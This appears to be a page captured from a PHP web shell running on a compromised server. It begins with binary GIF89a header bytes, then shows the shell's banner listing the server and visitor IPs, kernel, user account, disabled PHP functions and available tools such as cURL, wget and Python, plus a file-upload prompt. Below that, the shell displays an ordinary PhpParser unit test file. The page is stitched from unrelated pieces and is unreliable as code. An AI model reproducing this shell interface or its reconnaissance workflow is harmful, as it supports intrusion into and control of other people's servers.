GIF89a=( ý' 7IAXKgNgYvYx\%wh&h}týh%ýs%xý}9ýRýý&ý0%ý (ý.ýý5ýSDýý&ýa)ýx5ýý;c*!&r)ï7õ<{4ý3ýH§KoTýýYýaqýýqýýFý !ý ' !ýNETSCAPE2.0 , =( ýýpH,ý$rýl:x(tJýZý,výýzýýxL.:ýýzýnýýý|Nýýýýý~ýýýýýýý& !ý0`9Rý}ýý"ý"a:Sý~xýýýýýýýýgýýýEýýýýýýýRýýýEýýýýBýý ýý8ýýDýýý"ýný ýHýýLýýDkDýBýýýýýDýýýTýýýH ýGýýA Rý |ýým&ýýE8ýSýkGýAýpxýaýýýR2XBýýE8Iýýý6Xý:vT)ý~ýýqýåýý"F~%xý ý 4#Zý0O|-4BsýX:= Qý SalýýyXJ`G&|shýýK3l7ýB|ý$'7J©*0!ýýDýn=ýPýýýýý0`ýRýljýýýýv>ýýý5 ý.69ýødýýýýýnlvý9ýýf{ýýýPbxýl5}ýpýýýýý3aýýýIýOýýýý!>ýýýiýý9ýý#ýý)pýa ½ ý{ý)vmýý%D~6fýýs}RýDýW Eý`!ý ý&L8xý ý{)x`X/>ý}mýýRý*|`Dý=ý_ ^ý5!_&'aýOý7ýcýý`DCx`ý¥ý9ýYýFýýý`?ýý"ý ýn@`ý} lýý@4>ýd S ývýxNýý"@~dýý=ýgýs~Gýýýýýýud &p8Qý)«lXDýýýýA~HýySunýjýýýk*DýLHý] ýýC"JýýXb~ªwSt}6K,ýýqýS:9*:ýýýlý@ý`ýý ý.ìýt9ýSý[©:ýý=`9Nýýýý{¿ýA !Rý:ýýý6ýýxý0ý_ ý;ýýýýýý^ýýý#ýýýý!ýýýýUýýý;0L1ýýýýýp%AýýU,uýý%ýSýý!ýýý~`ýGýýýý ýýý=4ýnpý3ýýýýýýýýýuýuýn|%2ýIýýrý#0ýýJ``8ý@S@5ýýýý^`8Eý]ý.ýSýýý7 ý ý0ýj SýDý zýýýiýSýýýýý!ýýýlýýw9*ýDýIýnEXýýý &AýGoýQfýýFýý;ýýý}ýJýýýýF5ýýQ|ýýýXýýTýýyýýý]ý o ýýC=ýý:ýýýPB@ DýSý(>ýCýx}`ýýxJ,ýàýýp+eE0`ý}`Aý/NEýý ý9@ýýý Hý7ý!%B0`ýl*ýý!8 2ý%ý ý:ý1ý0Eýýux%nP1ý!ýC)ýP81lýxF#¬{ýýýýB0>ýý
Server IP : 217.18.85.50 / Your IP : 18.116.52.29 Web Server : LiteSpeed System : Linux server50.tr85.dhs.com.tr 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64 User : ferhatgenc ( ) PHP Version : 7.2.34 Disable Function : restore_ini,mail,openbasedir,f_open,system,dl,array_compare,array_user_key_compare,passthru,cat,exec,popen,proc_close,proc_get_status,proc_nice,proc_open,escapeshellcmd,escapeshellarg,show_source,posix_mkfifo,ini_restore,mysql_list_dbs,getmyuid,pconnect,link,symlink,fin,passthruexec,fileread,shell_exec,pcntl_exec,ini_alter,leak,apache_child_terminate,chown,posix_kill,posix_setpgid,posix_setsid,posix_setuid,proc_terminate,syslog,allow_url_fopen,fpassthru,execute,shell,chgrp,passthru,socket_select,socket_create,socket_create_listen,socket_create_pair,socket_listen,socket_accept,socket_bind,foreach,socket_strerror,pcntl_fork,pcntl_signal,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,openlog,apache_get_version,apache_getenv,apache_note,apache_setenv,virtualal MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/ferhatgenc/public_html/vendor/nikic/php-parser/test/PhpParser/ |
Upload File : |
<?php declare(strict_types=1); namespace PhpParser; use PhpParser\Node\Expr; use PhpParser\Node\Scalar; use PhpParser\Node\Scalar\String_; use PhpParser\Node\Stmt; use PHPUnit\Framework\TestCase; abstract class ParserTest extends TestCase { /** @returns Parser */ abstract protected function getParser(Lexer $lexer); /** * @expectedException \PhpParser\Error * @expectedExceptionMessage Syntax error, unexpected EOF on line 1 */ public function testParserThrowsSyntaxError() { $parser = $this->getParser(new Lexer()); $parser->parse('<?php foo'); } /** * @expectedException \PhpParser\Error * @expectedExceptionMessage Cannot use foo as self because 'self' is a special class name on line 1 */ public function testParserThrowsSpecialError() { $parser = $this->getParser(new Lexer()); $parser->parse('<?php use foo as self;'); } /** * @expectedException \PhpParser\Error * @expectedExceptionMessage Unterminated comment on line 1 */ public function testParserThrowsLexerError() { $parser = $this->getParser(new Lexer()); $parser->parse('<?php /*'); } public function testAttributeAssignment() { $lexer = new Lexer([ 'usedAttributes' => [ 'comments', 'startLine', 'endLine', 'startTokenPos', 'endTokenPos', ] ]); $code = <<<'EOC' <?php /** Doc comment */ function test($a) { // Line // Comments echo $a; } EOC; $code = canonicalize($code); $parser = $this->getParser($lexer); $stmts = $parser->parse($code); /** @var Stmt\Function_ $fn */ $fn = $stmts[0]; $this->assertInstanceOf(Stmt\Function_::class, $fn); $this->assertEquals([ 'comments' => [ new Comment\Doc('/** Doc comment */', 2, 6, 1), ], 'startLine' => 3, 'endLine' => 7, 'startTokenPos' => 3, 'endTokenPos' => 21, ], $fn->getAttributes()); $param = $fn->params[0]; $this->assertInstanceOf(Node\Param::class, $param); $this->assertEquals([ 'startLine' => 3, 'endLine' => 3, 'startTokenPos' => 7, 'endTokenPos' => 7, ], $param->getAttributes()); /** @var Stmt\Echo_ $echo */ $echo = $fn->stmts[0]; $this->assertInstanceOf(Stmt\Echo_::class, $echo); $this->assertEquals([ 'comments' => [ new Comment("// Line\n", 4, 49, 12), new Comment("// Comments\n", 5, 61, 14), ], 'startLine' => 6, 'endLine' => 6, 'startTokenPos' => 16, 'endTokenPos' => 19, ], $echo->getAttributes()); /** @var \PhpParser\Node\Expr\Variable $var */ $var = $echo->exprs[0]; $this->assertInstanceOf(Expr\Variable::class, $var); $this->assertEquals([ 'startLine' => 6, 'endLine' => 6, 'startTokenPos' => 18, 'endTokenPos' => 18, ], $var->getAttributes()); } /** * @expectedException \RangeException * @expectedExceptionMessage The lexer returned an invalid token (id=999, value=foobar) */ public function testInvalidToken() { $lexer = new InvalidTokenLexer; $parser = $this->getParser($lexer); $parser->parse('dummy'); } /** * @dataProvider provideTestExtraAttributes */ public function testExtraAttributes($code, $expectedAttributes) { $parser = $this->getParser(new Lexer); $stmts = $parser->parse("<?php $code;"); $node = $stmts[0] instanceof Stmt\Expression ? $stmts[0]->expr : $stmts[0]; $attributes = $node->getAttributes(); foreach ($expectedAttributes as $name => $value) { $this->assertSame($value, $attributes[$name]); } } public function provideTestExtraAttributes() { return [ ['0', ['kind' => Scalar\LNumber::KIND_DEC]], ['9', ['kind' => Scalar\LNumber::KIND_DEC]], ['07', ['kind' => Scalar\LNumber::KIND_OCT]], ['0xf', ['kind' => Scalar\LNumber::KIND_HEX]], ['0XF', ['kind' => Scalar\LNumber::KIND_HEX]], ['0b1', ['kind' => Scalar\LNumber::KIND_BIN]], ['0B1', ['kind' => Scalar\LNumber::KIND_BIN]], ['[]', ['kind' => Expr\Array_::KIND_SHORT]], ['array()', ['kind' => Expr\Array_::KIND_LONG]], ["'foo'", ['kind' => String_::KIND_SINGLE_QUOTED]], ["b'foo'", ['kind' => String_::KIND_SINGLE_QUOTED]], ["B'foo'", ['kind' => String_::KIND_SINGLE_QUOTED]], ['"foo"', ['kind' => String_::KIND_DOUBLE_QUOTED]], ['b"foo"', ['kind' => String_::KIND_DOUBLE_QUOTED]], ['B"foo"', ['kind' => String_::KIND_DOUBLE_QUOTED]], ['"foo$bar"', ['kind' => String_::KIND_DOUBLE_QUOTED]], ['b"foo$bar"', ['kind' => String_::KIND_DOUBLE_QUOTED]], ['B"foo$bar"', ['kind' => String_::KIND_DOUBLE_QUOTED]], ["<<<'STR'\nSTR\n", ['kind' => String_::KIND_NOWDOC, 'docLabel' => 'STR']], ["<<<STR\nSTR\n", ['kind' => String_::KIND_HEREDOC, 'docLabel' => 'STR']], ["<<<\"STR\"\nSTR\n", ['kind' => String_::KIND_HEREDOC, 'docLabel' => 'STR']], ["b<<<'STR'\nSTR\n", ['kind' => String_::KIND_NOWDOC, 'docLabel' => 'STR']], ["B<<<'STR'\nSTR\n", ['kind' => String_::KIND_NOWDOC, 'docLabel' => 'STR']], ["<<< \t 'STR'\nSTR\n", ['kind' => String_::KIND_NOWDOC, 'docLabel' => 'STR']], ["<<<'\xff'\n\xff\n", ['kind' => String_::KIND_NOWDOC, 'docLabel' => "\xff"]], ["<<<\"STR\"\n\$a\nSTR\n", ['kind' => String_::KIND_HEREDOC, 'docLabel' => 'STR']], ["b<<<\"STR\"\n\$a\nSTR\n", ['kind' => String_::KIND_HEREDOC, 'docLabel' => 'STR']], ["B<<<\"STR\"\n\$a\nSTR\n", ['kind' => String_::KIND_HEREDOC, 'docLabel' => 'STR']], ["<<< \t \"STR\"\n\$a\nSTR\n", ['kind' => String_::KIND_HEREDOC, 'docLabel' => 'STR']], ["die", ['kind' => Expr\Exit_::KIND_DIE]], ["die('done')", ['kind' => Expr\Exit_::KIND_DIE]], ["exit", ['kind' => Expr\Exit_::KIND_EXIT]], ["exit(1)", ['kind' => Expr\Exit_::KIND_EXIT]], ["?>Foo", ['hasLeadingNewline' => false]], ["?>\nFoo", ['hasLeadingNewline' => true]], ["namespace Foo;", ['kind' => Stmt\Namespace_::KIND_SEMICOLON]], ["namespace Foo {}", ['kind' => Stmt\Namespace_::KIND_BRACED]], ["namespace {}", ['kind' => Stmt\Namespace_::KIND_BRACED]], ]; } } class InvalidTokenLexer extends Lexer { public function getNextToken(&$value = null, &$startAttributes = null, &$endAttributes = null) : int { $value = 'foobar'; return 999; } }